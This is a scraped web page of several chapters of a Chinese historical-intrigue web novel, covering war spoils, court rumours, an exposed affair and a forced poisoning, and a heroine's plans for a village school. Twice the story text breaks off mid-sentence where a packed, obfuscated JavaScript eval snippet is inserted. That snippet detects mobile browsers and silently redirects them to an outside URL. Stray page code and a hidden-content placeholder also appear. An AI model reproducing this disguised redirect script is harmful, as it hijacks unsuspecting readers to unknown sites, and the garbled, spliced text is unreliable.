最终,换成了五十头牛、四百头羊,另外又给他添了两匹小马,这也算是大总管对他格外照顾了。 谢铮撇嘴,如果不是许君锋说走嘴了,他才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137557|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会答应这么换呢。 他亏大发了。 那羊有个屁用! 当然是牛的用处更大。 可是大总管不发话,他也没办法,只能明面儿上答应了。 但是这一路从苏哈尔部落这里离开的时候,他手下的人带走的是五十头牛、四百头羊、两匹小马,等到出了草原,进入大兴地界后,他手下这边就已经变成八十头牛、四百头羊、两匹小马、两匹高头大马了。 最前面的崔玄明能说什么? 他也惹不起谢铮呀。 而且人家从苏哈尔部落出来的时候,的确是没有违规,正常带的,这一点不能说人家抗命。 但是他们一路走,不仅不消耗这些牛羊,反而还没少劫掠其它的一些小部落,崔玄明就算是看见了,也只看不见。 毕竟抢的是突厥人的,又不是他的。 他还乐意看着突厥人倒霉呢。 牛和马都被用来拉人或者是拉各种物资了。 比如说皮子、粮食等等。 朝廷的队伍,自然无人敢拦敢抢,真要是有,那也一定是不想活了。 就这样,他们一路上算是比较太平,只除了几次天公不作美挨了雨淋之外,其它的一切都可以说是相当顺利。 谢铮派出的人手是谢家的亲兵,没有进京,直接就去了蓝田县。 看到这些人带着东西都拐去云栖山庄了,崔玄明也总算是松口气。 反正是得了大总管首肯的,至于陛下会不会降罪,御史会不会**,那就不是他要考虑的问题了。 永安帝看着崔玄明带回来的奏报,再看看上面所列的那些战利品,频频点头。 “陛下,这里还有大总管命臣带回来的一封信。” 是信,不是奏折。 永安帝明白,这就没必要再传阅给其它臣子看了。 奏报上已经写明,谢铮和许君锋二将直接把苏哈尔部落击溃,并且将全族俘虏,顺利解救出汉人五十余户,如今已经被谢铮的人安排至蓝田县安顿。 永安帝看到此处,便明白谢铮的用意了。 “倒是个痴心人。” 第264章 种子 不过是几十户人家,而且还都是从突厥那边解救回来的苦命人,永安帝自然不会插手这样的小事。 而且,有人能安置这些人,他高兴还来不及呢。 只是那么些牛羊又是怎么回事? “崔玄明,所以按这信中所说,谢铮晚是光明正大地先吞掉一部分战利品了?” “回禀陛下,这是大总管允的。” 永安帝不想说话了。 他当然知道这是陆晋允了的,就算是陆晋不允,副总管许翰也一定会同意。 他只是没想到这人做事这般地高调。 “陛下,您之前曾许诺过安乐县主,不管是大军得了什么样的稀罕物,都特允安乐县主先去挑一挑的。” 一旁的内侍总管提醒了一句,倒是让永安帝一下子反应过来了。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137558|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底下候着的崔玄明也没想到,陛下还能下一 ******后面还有1878个字内容被隐藏了****** ******后面还有1878个字内容被隐藏了****** loadBookInfo(34, 13208034, 264,''天良缘''); 第265章 伤着了 许君霆好歹也是跟着记录过玉米种植的人,很快就能上手,而且还直接弄了一些种子到自己院子里试种。 许君霆知道这是机会,怎么可能不动脑子? 他自己不擅长种田,但是可手底下有人擅农事呀。 所以直接带了两个农夫到自己院中,将胡椒和孜然都是分了批次种植,就是要看一个真实的生长情况。 许昭昭知道的也就那么多,因为她也不会种,所以后面的事,就只能是由许君霆独自来完成了。 因为这只是调料,倒是胡椒可以入药,价值还稍微高一些,但是在上位者眼中,它的价值再高,也没有粮食的价值高。 赵夫人上次来一趟侯府,其实就是为了表明一下赵家的态度,不会因为这点小事便与侯府成为敌人。 其实说白了,赵家是站在忠王这一边的,所以他们的意思就是尽量不要树敌,哪怕是无法将许翰拉拢到自己的阵营里,但是至少不能和许翰成为敌人。 别看许翰只是一个侯爵,但实际上他的地位比那些不受宠的公爵还要更高。 看似他在兵部没有任何差事,但是实际上,他手上的权利,不比兵部尚书小。 偏偏那天许琳跟在一旁搅和,这让赵夫人对许昭昭有些不满,但是对许琳就更为不满了。 碍着她什么事儿了,还巴巴地站出来在那嘟囔,真是不自量力! 许琳又过几日再想过来给老夫人请安时,就被拒之门外了。 当然,只是被老夫人手下给拒在院门外了,人还是在侯府的。 但是老夫人不见她,两位嫂嫂对她向来不满意,许琳也没有那个脸面再继续待下去,所以便神色讪讪地离开了。 她一走,各房各院里都开始议论起她来了。 紫园这边,张氏和安和县主都和许昭昭一起烤肉呢。 有了孜然和胡椒,许昭昭又怎么会委屈自己? 她让人打造出来一副烤肉的一应工具,然后就在亭子里和两位嫂嫂一起烤肉。 许昭昭最喜牛肉,所以腌制的牛肉也较多一些。 “昭昭,烤成这样就是熟了吧?” “嗯,差不多,你可以尝尝。” 现在的牛羊肉那才是绝对的吃草料长大的,肉质自然是与后世不同。 许昭昭尝了一口牛肉,嗯,真是鲜美! “可惜母亲去了外祖母家,要不然,定然也要请她尝尝这美味。” “别说,这味道的确是与以前吃过的不同。可要说是加了这些调料,咱们以前吃的也加了呀!”安和县主不解。 张氏也不甚明白,直接看向许昭昭。 安和县主吃了一口肉,也看向她。 许昭昭笑道:“这可是我的独门秘方,我这是特意腌制过的,那味道自然是不同。两位嫂嫂是想要开酒楼不成?” 张氏扑哧一笑:“也不是不行。咱们就开个烤肉馆,只卖烤肉,怎么样?” 大兴人喜食羊肉,哪怕是现在猪肉不那么膻了,但是仍然被许多权贵人家拒之门外。 至于牛肉,那可不是能天天有的。 “可以琢磨一下,不过咱们这个可不仅仅是只能烤肉,一会儿还有烤疏菜呢,咱们都尝尝。” 张氏吃了一惊:“蔬菜也能烤?” “那必须能呀!” 万物皆可烤! 三人边烤边吃,当然,真正动手烤的,还得是丁香和芍药,她们三个顶多就是想起来了帮忙翻个面儿,或者是撒些调料。 许昭昭让人弄出来的那种特制的调料罐子,这样随手一抖,撒得均匀而且还不沾手,美得很。 许婷婷和许婉婉也闻着味儿就过来了,姐妹二人来得不算晚,许昭昭才吃了个半饱,看到她们过来连连招手。 “快过来,你们不是随婶婶出门了吗?怎么这么早就回来了?” 许婷婷回道:“将军府出了些事,母亲也不好再带我们留下,所以就先回来了。” 三人的视线齐唰唰地就过来了。 吓得许婷婷一抖。 “二位嫂嫂,还有昭昭姐姐,你们别吓我!” 许昭昭把人一拉,然后都坐定后,她才一脸兴奋:“快说说,可是李府又出什么新鲜事了?” 倒不是想要看李家的热闹,就是单纯地想吃瓜。 许婷婷喝了一口茶,见妹妹直接开动了,她只好说:“好像是内宅的几位姑娘因为争抢婚事打起来了。这也算是家丑,母亲便带我们回来了。” 话落,许婷婷也连忙夹了一块肉,咝哈咝哈地吃起来。 许昭昭又吃了两口肉后,放下筷子,端起一杯果子汁慢悠悠地喝着。 “哪几位姑娘打起来了?又是因为哪家的婚事呀?” 许昭昭是真有几分好奇。 许婷婷咽下嘴里的东西,沉思两息后才道:“具体的是哪位郎君我不知,只听闻是曲家的婚事。好像是位庶出的郎君,要不然也不会引得几位庶小姐大打出手。” 庶女配庶子,这也算是合适。 而且曲家正是皇后的娘家,便是庶子,那身份必然也不会太差了,日后只要是不赌不傻,总能富贵一辈子。 “你们母亲就没说几句话?” “母亲一开始劝了几句,后来见那几位姑娘们实在不像话,母亲说自己只是姑母,当不得李家的家,所以便带着我们先回来了。” “那婶婶的脸色如何?可有生气?” “倒是不曾看出来,不过母亲应该是有些失望的。” 许昭昭点头,她大概能明白李氏的心思。 回娘家一趟,原本是想要请兄嫂帮她的儿子说和几位门当户对的姑娘,谁能想到遇上这种事? “行了,快吃吧。别人家的事,咱们听听就算了。只要不牵扯到我未来嫂嫂,怎么着都成。” 许婷婷和许婉婉这才想起来,还有李明雅呢。 许婷婷脸色不太好,小声道:“明雅姐姐好似是被伤着了。” “嗯?你说什么?” 许婷婷更加小心:“听说是当时好多婆子丫环们都上去拉了,但是没能拉开,正好明雅姐姐站的位置又近,便伸手拉了一把,不想竟是被李明淑给伤着了。” “你说谁?李明淑?” 许昭昭的声音都变了,早知道这不是个什么好东西,没想到还敢伤了她嫂子! 第266章 谣言 李将军府的几位庶女为了争夺曲家庶子的婚事,所以大打出手。 其实最先挑起头来的,还是李明淑。 许昭昭安排丁香去查,就将军府那内宅,丁香想要查些什么,还真地是挺容易的。 “小姐,这门婚事,原本是李夫人打算说给李明华的,可是没想到李明淑想横插一杠,此事被李明华和其姨娘知晓之后,自然是不答应,这才闹起来了。” “好在事情未曾闹大,若不然丢脸的是整个将军府。” 丁香小心打量了一眼主子的脸色,这才小声道:“奴婢今天在外面打听时,无意中听到了有人在议论将军府,好似就是与内宅有关。” 许昭昭皱眉:“消息已经走漏了?” “应该是,而且奴婢担心此事还是有人在暗中推波助澜。” 不过短短几日,外面便有了传言。 说是李家几位姑娘争着抢着想要嫁曲家庶子。 也不知道是什么人这么坏心眼,竟然还故意把这脏水往李明雅的身上泼。 因为这件事,李夫人这几日几乎是愁断了肠。 谁能想到,因为几个庶女,硬是将嫡女的婚事也牵扯进来了。 坊间更有一些泼皮无赖四处败坏李明雅的名声,还说许家三公子就是专拣了别人不要的破鞋当珍宝。 此事愈演愈烈,许昭昭不得不将许君霆给叫回来了。 “三哥,今日一早,将军府便有人来送信,说是明雅姐姐听闻流言之后,几次晕厥,更是有自尽的打算。此事你想如何处置?” “既然是发生在李府内宅之事,又如何会传出去?” 许昭昭点头,她也认为,这是李家治家不严,尤其是内宅,简直就漏得跟筛子一样。 这李夫人就是太好性了,竟让那些妾室和庶女在内宅作乱。 许昭昭叹气:“三哥打算如何?” “此事的根子在李府,还当由李府处置。不过,我会先派人去一趟李府,好将自己的心意表明,也免得让明雅多虑。” “还不够!” 眼下外面的流言传得厉害,若是不能制止,甚至还有可能会累及侯府的名声。 最好的办法,自然就是要揪出幕后真凶。 但这幕后真凶是那么容易揪出来的吗? “三哥,我有一计,不知三哥是否愿意听一听?” “快说快说,我急得头发都要白了,你就别卖关子了。” 将军府。 李夫人看着憔悴的女儿,她也是自责又难过。 可是事情已经发生了,再这么消沉下去也无用。 “明雅,此事的确是母亲失察,你且宽心,我定将那恶贼揪出来,乱棍打死!” 李明雅则是脸上毫无生气,病歪歪地靠在那里,整个人跟死了半截一样。 李夫人着急,女儿这样子已经有三日了,若是再没有办法,那可怎么办? 李夫人性子较为温和,也正是因此,才给了李明淑几人机会。 这一次,牵扯到了她的女儿,李夫人的好性子也就不见了。 “来人,将那几个混帐东西都押到祠堂去跪着,没有我的吩咐,不许起来,更不许吃东西。” “是,夫人。” 这次的事情闹得太大,便是将军知道了夫人重惩那些妾室和庶女们,也不会多说一个字。 恰在此时,许君霆派的人也登门了。 “这是我家公子给未来少夫人的信,另外还让我捎句话过来。” 李夫人听到未来少夫人这几个字,心中总算是安定些许。 “快快说来。” “我家公子说,此事他会出面解决,还请明雅小姐安心在家休养,另外,也请夫人能好好整治一下内宅,兴许会有一番收获。” 李夫人微怔,连一个外男都能看出来的事,她又怎么会没想到? 可是先前审过,一无所获。 难不成,是自己太慈悲了? 李夫人看一眼明显已经有了几分生机的女儿,当即狠下心肠来。 “来人,将所有仆从都叫到前院去跪着,我要亲自审!” 这一次,她宁愿杖毙几个,哪怕背上一个恶妇的名声,也得为女儿讨回公道。 平康坊的一处酒楼里,几个泼皮无赖正凑在一起吹牛,刚说了没几句,就被人一脚给踹飞。 “什么人!” “你们凭什么打人?” 来人可不管这个,一番拳打脚踢之后,直接就往府衙送。 许君霆直接告到了京兆府,因为不仅仅是长安县,还有万年县的人也在议论,既然如此,那索性就告到赵长清那里去。 最主要的是,赵长清审案可是相当有一套,且为人公正,必然能想法子将此事查明。 许侯府出动了近百名家丁,不到一天的功夫,已经抓了数十人送到府衙。 许昭昭给许君霆出的主意其实很笨,但是却很有效。 就是揪出一个说闲话的,然后就让他交待出来是从何处听说的,如此一连串下来,自然就能找到源头。 而且许侯府有的是人呀! 他们多方位下手,最终都指向了两个人。 一个是将军府的下人,还有一个则是某酒楼的跑堂。 这二人被带到堂上,此案已经明了大半。 那个跑堂的,就是一个普通的小二,没有什么特别之处,但他效力的酒楼,却是隶属于肃国公府,但是在刘怀恩被剥夺世子之位后,这间酒楼就落到了刘怀恩的名下。 所以,是刘家人在暗中出手? 许昭昭不认为事情如此简单,但是能查到的线索也就到这里了。 而且将军府那边的下人也只供出了一位嬷嬷,但是找到那位嬷嬷时,对方已经自尽。 所以,将军府中是否还有其它的内鬼,那就不得而知了。 但是经过这么一闹,关于李家的几位姑娘的闲言碎语倒是少了很多。 最主要的是,这些人都承认自己是受人指使,所以才在外面散布流言,仅仅这一点,便能让许君霆达成目的。 他原本就只是想要维护住李明雅的声誉,对于幕后黑手,他其实没抱什么希望。 所以现在查到这样一个结果,他还是比较满意的。 许昭昭知道这些消息后,直接就把这件事扣到姜家人头上了。 她的报复,也即将开始。 第267章 姜家人的决断 曲家在得知此事后,第一时间出面澄清,说两家并无议亲的打算,所以这抢亲一事,更是荒谬! 这么说,虽然是会断了两家的联姻可能,但毕竟只是庶子庶女,不会有太大的影响。 而且最关键的,还是李将军和曲尚书二人在朝中的利益为主。 曲家的表态,其实也就等于是在帮着李家。 毕竟这种事情传得再怎么猛烈,于男子而言,也并无损失。 虽然澄清了流言,但是这并不能让所有人都闭嘴。 总有那么一些心理扭曲的人,会故意向着坏人说话。 比如说:苍蝇不叮无缝的蛋,那李家姑娘必定是做了什么见不得人的事,要不然,怎会这样的流言? 这一次,许昭昭就想着彻底地给他们来一出什么叫真正的有理有据! 长安县,悦客茶楼。 姜芙气得脸色铁青,啪一巴掌就挥了过去。 “没用的废物!就是这么做事的?现在还把国公府给连累进来了,我要你们有何用?” 被打的,就是姜芙手底下的一个管事,也是当初陪嫁过来的姜家忠仆。 男人跪在地上,不停地磕头求饶。 他太了解这位主子的脾性了,若是不能让她消气,自己小命不保。 “想办法!无论如何,这件事情不能再牵扯到我身上。” “主子,现在事情基本上已经落下帷幕,不会有人再继续追查了。” 权贵之家,都要脸面。 而且大部分的权贵之间都会有一种默契,那就是只要不是你死我活的地步,一般都不会撕破脸。 毕竟有些事情真地摊开了揉碎了,也不见得有什么好处。 如今肃国公府好歹并无颓势,所以李家应该也不敢再进一步了。 “糊涂!李家不计较,可还有一个安信侯府呢!那许昭昭是什么人?睚眦必报,她可不是一个好相与的。我不管你用什么办法,给我想办法!” “是,主子。” 男人刚刚退下去,一名年轻些的俊俏郎君手捧托盘而入。 姜芜见到他,这心情总算是好转一些。 “你怎么来了?” “听闻嫂子心情不佳,所以特意过来瞧瞧。” 来的这位,正是肃国公府的一位旁支亲眷。 他走不了仕途,所以就只能是帮衬着家族打理产业。 这悦客茶楼,便是刘家的产业。 姜芜哼了一声,歪坐在榻上,微微阖眼,显然是等着男人主动上前来伺候的。 男子轻笑一声,自然知道此时的嫂嫂最需要什么。 一时间,屋内温度攀升,男俊女俏,很快便滚做了一堆。 姜芜和男人在这里私会也不是一次两次了,毕竟这里是刘家的地盘,更是由男子亲手打理,所以他们丝毫不会担心是否会被人发现。 两人这里刚刚云歇雨散,便听得外面一阵响动,没等二人来得及穿好衣服,就被一大队官差给冲了进来。 “我去!” “天爷呀!这是什么香艳场面?” 男人大怒:“你们是什么人?滚出去!” 他一边喊,一边手忙脚乱地穿衣服。 至于另一位主角姜芙,此时连忙将一旁的毯子拉到自己身上遮盖。 她也没想到,今天竟然会被人闯进来。 “我等奉命追查突厥细作,不曾想竟是撞破了肃国公府大少夫人的奸情呀!” 姜芙的身份被认出,脸色瞬间苍白。 不到一个时辰,姜芙在刘家的茶楼里偷人的事情就已传得沸沸扬扬。 当时闯入屋内的,除了赵长清派出来的衙役之外,还有不少的茶客、看客,这可真是热闹了。 姜芙回到家中,整个人都是傻的。 怎么办? 虽说大兴风气开放,但远没有达到女子可以在外胡来的地步。 而且她又不是公主、郡主,没有那等傲人的权势,一旦闹大,她就只有被休弃的份儿! 姜芙此时想到了许多,她有预感,自己可能活不长了。 先前偶尔还有人议论李府一两句,现在嘛,谁不知道最热门的话题,就是姜芙和刘家郎君偷.情? 而且还是在大白天呀! 这姜芙到底是怎么敢的。 事情闹得这样大,姜延平也坐不住了,顶着被老父亲大骂的风险,还是去商议对策。 “你想将这件事情的错误都推给刘家那个小子?” 姜延平低头:“父亲,唯有如此,方能保住我们姜家的颜面呀。” “不妥!” 姜延平一愣,万万没想到父亲会拒绝。 “那小子虽然只是旁支,可也是姓刘的,就算是国公同意,刘家的族亲们也不会答应的。而且,当时的情况,若姜芙真是被迫的,又为何一直未曾呼声求救?她身边的仆从呢?” 姜延平一时间为难了。 老太爷叹气道:“此事一旦细究,到处都是漏洞。姜芙不可能洗得白。” “那父亲的意思是?” “想办法把局搅混,就说是有人在那里暗害他们二人,给他们下了药,如此一来,倒是有几分可信度。” “可那里原本就是刘家的产业。” “推一两个茶楼的对手出来,应该不难吧?” “明白了,儿子这就去找肃国公商议。” “慢着!”姜太傅将人叫住,沉默片刻后,还是出声道:“姜芙,不能活了。” 姜延平心里咯噔一下子,毕竟是自己的嫡长女呀。 “父亲?” “天亮前,必须传出她自尽的消息,否则,刚刚说的一切都是白费功夫。” 姜延平明白了,如此一来,至少能让姜芙背上一个受害者的名声。 否则,活着也是姜、刘两家的拖累。 “邓氏还想着去看看她的。” “没必要。妇人心软,邓氏一旦被姜芙说动,我们的计划都会坏事。想想宫中的姜贵妃,再想想嫁入忠王府的姜宁,我们不能让她一人害了整个家族!” “是,父亲,儿子明白了。” 姜延平连夜去了肃国公府,二人在书房密议将近两刻钟,之后,姜延平才去见见自己的这个女儿。 姜芙一看到他,便宛若是看到了救兵:“父亲,你一定要帮帮我,我可以解释的。我,我可以和离,也可以出家为尼,父亲,你不能不要我呀!” 姜延平为难地闭上眼:“芙儿,你这次真是大错特错呀!” 第268章 丧事 姜芙跪在地上,抱住姜延平的腿,不住地哀求:“父亲,女儿想活着,女儿不能死呀!您想想,我可是姜家人,不过是些许小事而言,这京城中多少贵妇豢养面首,不都没事吗?” 姜延平闻言大怒,一脚将她踢开。 “事到如今,你还不知悔改!你竟然拿自己与那等品行不堪之人作比较,你忘了你祖父是谁,你忘了你的父亲母亲是什么人了吗?” 姜芙这才意识到自己一时情急,说错了话,复又爬回来,再度抱住他的腿:“父亲,女儿知错了,求父亲救救女儿吧!” 姜延平心中也有不舍,毕竟是自己的亲生女儿。 但再怎么不舍,他也不可能真地饶过她的。 这可是关系到了整个姜氏宗族。 “芙儿,为父知道你的难处,也知道因为刘怀恩一事让你伤心难过了。但你要明白,享受了姜家这么多年的富贵,你总要付出一些什么的。” 姜芙此时发髻散乱,衣裳也是凌乱不堪,涕泗横流,哪里还有半分名门贵女的仪态? “父亲,女儿可以出家,可以去做一个普通妇人,父亲!” 说到底,姜芙不想死。 可事到如今,一切都已由不得她了。 “来人!” 姜延平一摆手,便有两名健硕的仆妇进来,其中一人手上还捧着药碗。 不用想,也知道那是什么。 姜芙吓得脸色骤变,下意识就往后退,找地方躲藏,但她又能躲到哪里去呢? 姜延平不忍心再看,背过身去吩咐:“待她走后,替她整理仪容,我姜家女儿即便是走,也不可如此狼狈。” “是,老爷。” 姜芙眼见着父亲出去,急得大喊:“父亲!” 可是后面的话还没来得及说,就被一人给捂住了嘴。 两名健妇,轻易将其治服,哪怕她不愿意,也是一碗毒药入喉。 姜芙挣扎着洒了不少,但是没用。 这药原本就是备的三人份的量,姜芙被灌进去了大半,效果已经达到了。 毒药入喉,并非即刻生效。 姜芙痛得捂着肚子哀嚎,但一名健妇眼尖,直接把她的嘴给堵上了。 如此一来,外面的姜延平也便听不到什么动静了。 直到姜芙气绝,门才被再次打开。 “禀老爷,大小姐已经去了。” “嗯,替她收拾好,此事办成,你二人就去城外庄子上暂住吧。” “是,老爷。” 这种事,自然是要瞒着邓氏做,要不然,邓氏能跟姜延平拼命。 这才多久,邓氏的娘家垮了,她的亲儿子死了,如今长女也没了。 邓氏如今唯一的依靠,就只有姜宁了。 姜宁在忠王府里,因为要养胎,所以外面的一些消息根本就进不来。 连姜宁身边的丫环都很少接触外面的人。 赵月在听闻姜芙被抓奸在床的时候,便知道此事怕是不好收场,当即便命人将姜孺人住的地方严加看管,连同里面伺候的人,也都不得随意进出。 姜宁在养胎,基本上不出屋子,所以她根本就不知道院子突然被管得紧了。 姜宁的两名贴身大丫环也基本上都守在她身边,所以对于外面的事也不知情。 天亮后,姜芙自尽身亡的消息传出,肃国公府也挂了白。 这件事,赵长清没有派人细查,他们本来就是为了抓细作的,怎知会突然冒出来一对偷.情的野鸳鸯呢。 而姜家和肃国公府对外的说法一致,二人都是被贼人陷害,二人所饮的茶水中被下了药,姜芙在得知自己失身后,回府痛哭不已,且向刘怀恩下跪赔罪,当晚,便饮下毒酒去了。 这件事,究竟哪一说法是真,已然不再重要了,因为姜芙已死,一切都随着她的死而尘埃落定。 至于那名刘家旁支的郎君,也早就在当天晚上被送出城去,听闻是远远地打发到了南边,听闻家中也不再愿意多管他的事,只给了些银钱,望他日后自生自灭。 说到底,是这二人有了私情,但是姜芙却要丢掉一条命,而刘氏郎君只需要被赶出家族即可。 何等不公! 许昭昭听闻这些时,只是频频摇头叹息。 这世间,果然还是对女子不公平,对男子更为宽容。 说到底,不过是因为他们才是这个世界的掌控者,这世间的规则,皆由男子制定,所以女人才会活得更加辛苦且悲哀一些。 许昭昭早就知道了姜芙与人偷.情,所以才会借机将此事捅破。 至于后果,她自然也早就算计到了。 果然,姜家人为了保住名声,还是选择了让姜芙去死。 听闻在姜芙的灵堂前,邓氏哭得晕过去几次,甚至还指着刘怀恩破口大骂,完全没有了贵夫人的作派。 众人只以为是她近来受到的打击太大,毕竟才没了儿子,这又死了一个女儿,而且二人死的还都不怎么光彩,这种打击,一般人真扛不住。 姜芙的丧事,姜宁没有出现,这一切都是赵月安排的。 除了命人送上奠仪之外,还命人代姜芙在那里上了柱香,烧了些纸钱,已然是仁至义尽。 邓氏却是有些魔怔了。 回到家后,她甚至开始疯言疯语,还大骂姜宁不孝不悌,连长姐死了,她都不知道过去祭拜一下! 而事实上,赵月将一切都安排得明明白白,第一时间就先给姜延平那里送了消息,只说是姜宁如今怀胎不稳,实在是不敢让她知道这个消息。 姜延平知道忠王妃安排的也没毛病。 毕竟一个是孕妇,一个是死人。 孰轻孰重,他还是分得清的。 “此事忠王妃安排的也没有错。姜宁有孕在身,怀得是皇嗣,总归是要以她为重。而且听闻忠王很看重她的这个孩子,忠王妃如此安排,应该也是忠王授意的。” “父亲说的没错。儿子先前也派人去问过了。自打宁儿怀孕之后,她的一应饮食都是要过一下府医这边的,听闻忠王妃也一直很照顾她,王府中有孕有总共有三人,只有宁儿这里得了王爷和王妃的关照。听闻忠王三天两头过去陪她,想来也是盼着宁儿能诞下一个儿子。” 第269章 学堂 姜太傅还是不放心,又让姜延辉的妻子宋氏带着姜愿一起去忠王府走一遭,当然,还没忘了带上府医。 对此,忠王府就像是什么也没看出来一样,一切都十分平和。 待宋氏回来,姜太傅和老夫人将她叫过来亲自问话。 “宁儿如何?” “回父亲,宁儿的身体还不错,脸也圆润了一些,一应的饮食也都正常,宁儿现在的食量偏大,但是忠王妃特意请宫中赐下了一位嬷嬷,有她在身边照料,宁儿的饮食被安排得十分妥贴。” 内宅的一些阴私手段,宋氏自然是知道的。 她这么回了,意思就是姜宁一切安好,忠王府内将她保护得好,这就是忠王的态度。 姜太傅点头:“可有提及姜芙之事?” “儿媳未得父亲准允,不敢提。” “不错。待改日你母亲和你亲自去一遭,若是宁儿的身体无碍,也理应告知她,若是瞧着不妥,便还是瞒着。” “是,父亲。” 老夫人皱眉:“王府内就没有人到她跟前碎嘴?” “听闻是王爷下了令,若有一人敢到宁儿的院前多嘴一句,便直接打死。姜芙下葬那一日,便有两名丫环不开眼特意到了院门外嚼舌根,被姜宁身边的大丫环听了去,还未曾来得及禀报给宁儿,便被忠王妃发现,然后直接拖下去杖毙了。 至于那个丫环,忠王妃将道理与她说明后,她也只是请了两日假未曾在身边伺候,之后便一切如常。” 老夫人这才点头:“还好,女子有孕前三个月最易滑胎。忠王妃也是个大度的,若她真想害了宁儿肚子里的骨肉,只需将这个消息送到宁儿身边,再嘲讽几句,以宁儿的性子,定然是受不住的。” 姜太傅看到的则是与老夫人不同。 到底是位权臣,他看到的,是忠王妃的眼界和聪慧,绝非只是妇人的大度。 许昭昭对于姜芙的死,没有半分同情。 若说是有些感慨,也不过是觉得女子性命卑微,不及男子贵重,这是这个时代的悲哀,也是她目前无能为力的一点。 云栖山庄的主宅落成,许昭昭便请了阖府女眷一起去山庄住上几日,左右无事,只当是消遣了。 这一次,老夫人也跟着同行。 许昭昭也乐得给老夫人几分尊重,只要她不作妖,那就还是府上的老封君,享福的命! 严树和李生带着人在蓝田县城门口迎接,这一次,蓝田县令也带人来了。 许昭昭没有去县衙,只是简单与其对话几句后,便去山庄了。 众人各自去安顿,许昭昭将李生叫过来问话。 “你原是我的护卫队队长,将你留在此处,可觉得屈才了?” “不敢,下官既然被指派到县主身边做事,便理当听从县主的命令。” “如此甚好,我听闻你家中有些亲眷是在京城的,其中不乏一些读书人,你可识得一些中了童生或者秀才后,却又无心于仕途的学子?” 李生微愣之后,回道:“禀县主,倒是认得一两位。” “甚好。你得空问问他们,可愿到蓝田县来教书。” “啊?”李生愣了愣,随即问道:“可是到咱们庄子上?” “正是。庄子上的人越来越多,孩童们不能一直这样跑着玩闹,还是要约束一下,让他们识文断字,总好过四处跑闹,再惹出祸事来。” “县主仁善!” 许昭昭摇头:“当不得仁善二字。我也只能让这些孩童们免费读三年书,三年后,若是真有这个天赋者,庄子上可以拿钱供他们读书科考,若是没有这个天赋,便可去学一门手艺,又或者是去做一些轻省的活计,能写会算,总比他们的父辈要强一些。” “县主所言极是。不知此事可定下了章程?” “我有意寻男、女先生各二人,女先生除了教女孩子们读书之外,还要教一些刺绣等手艺,我已安排人在京城寻了一位女先生,绣娘的人选也好找,只是这男童那边,目前还没有合适的人选。” “卑职即刻去打听。” “也不必太急,我会在此处多住些日子。你去将严树和长生叫来,我有事情吩咐他们。” “是,县主。” 严树带着长生过来时,许昭昭正在同许川说话。 许川这次过来是为了帮着梳理这里的账目,主要是严树实在不擅长此事。 “回头你拟个章程吧,看看能需要多少银两。如今这学堂已经建好了,余下的开支基本上就是请先生的费用,至于学生们则是回自家吃饭,费不了什么,但是到了冬日要有炭火、热水,所以不管是请几位先生,学堂里总要有两个小厮做些散碎事。” “是,县主的意思我明白了,今晚便做出章程来,明日拿过来给你过目。” “堂兄不必如此,仍然唤我一声妹妹或者是昭昭就好。自家人面前,什么县主不县主的。” 许川笑了笑,没有说话。 许昭昭扭头看到他们二人在亭外候着,招手示意让他们近前回话。 许川见许昭昭并没有让他退下的意思,便继续坐着。 “严树,刚刚我正与堂兄商议咱们庄子上学堂一事,但凡是五岁以上十六岁以下的孩童,你都要做个记录,男女分开,届时我好根据人数来确定其它的琐事。” “是,县主。不过有些女童的家里未必愿意让她们来上学,不怕县主笑话,寻常人家,皆是女娃帮着带孩子做家务,有的甚至还要跟着一同下地,若是送来上学堂,便等于是损失了半个劳力。” “无妨,你只管跟他们说,将来咱们庄子上的所有产业,会优先招募上过学堂的孩子,而且这三年都是免费的,学堂一年四季还会各发两身衣裳给孩子。若是没有在咱们的学堂里上过,日后也不会有差事落到她头上,相信只要不傻,会清楚如何做的。” “县主英明。” 许昭昭看向长生,如今的长生,同刚来时,已判若两人。 长生长高了,也壮了。 “听闻你之前还上山猎了野猪,可有此事?” 第270章 开干! 长生一脸谦虚,但是嘴角好似怎么都压不下去,明显又是有几分得意的。 “回主子,并非是我一人之力,还多亏了同行的几位兄弟。” “嗯,靠自己的本事吃饭,甚好!” 长生脸上又露出一抹羞赧之色。 许昭昭问道:“严树,我招收的这些男童女童,每旬都要上两节武课,你以为如何?” 严树一愣:“女童也要上武课?” 君子习六艺,所以大兴的文人,并非是如同后世的某些文人一般手不能提,肩不能挑的,反而常有文武双全者。 但是女童习武者,甚少。 “只是为了让她们的身体更健康,而且女子在外行走,更易招来麻烦,若是有自保之力,总归是好的。” “是,武课没问题。咱们这里不缺行伍之人,只是带着他们打打拳活动一下胳膊腿,没问题。” “好。若是这其中当真有擅武者,还请严树挑选出来,咱们好好栽培。” “属下明白。” 学堂一事,许昭昭并未与家里人商量,只是偶尔会与两位兄长提上一两句。 这里原本就是许昭昭的封地,她如何安排,自然是她说了算。 而且许昭昭手里不缺钱,所以办个学堂,也不过是件小事,并无太大的花费。 这里比百果园的地方可大多了,许昭昭安排了一场马球,可把安和县主给玩嗨了。 京城的府邸虽然也不小,但还真不是能跑马的地儿。 这里就不同了,蓝天白云之下,骑马打球,当真是快哉! 许川捧着一沓账册过来。 “昭昭,这里面有周家在蓝田县的三家铺子,如今都空出来了,还不知道要做何营生合适。” “这三家铺子以前是做什么买卖的?” “一家布庄、一家玉器铺,还有一间则是开的酒楼。” 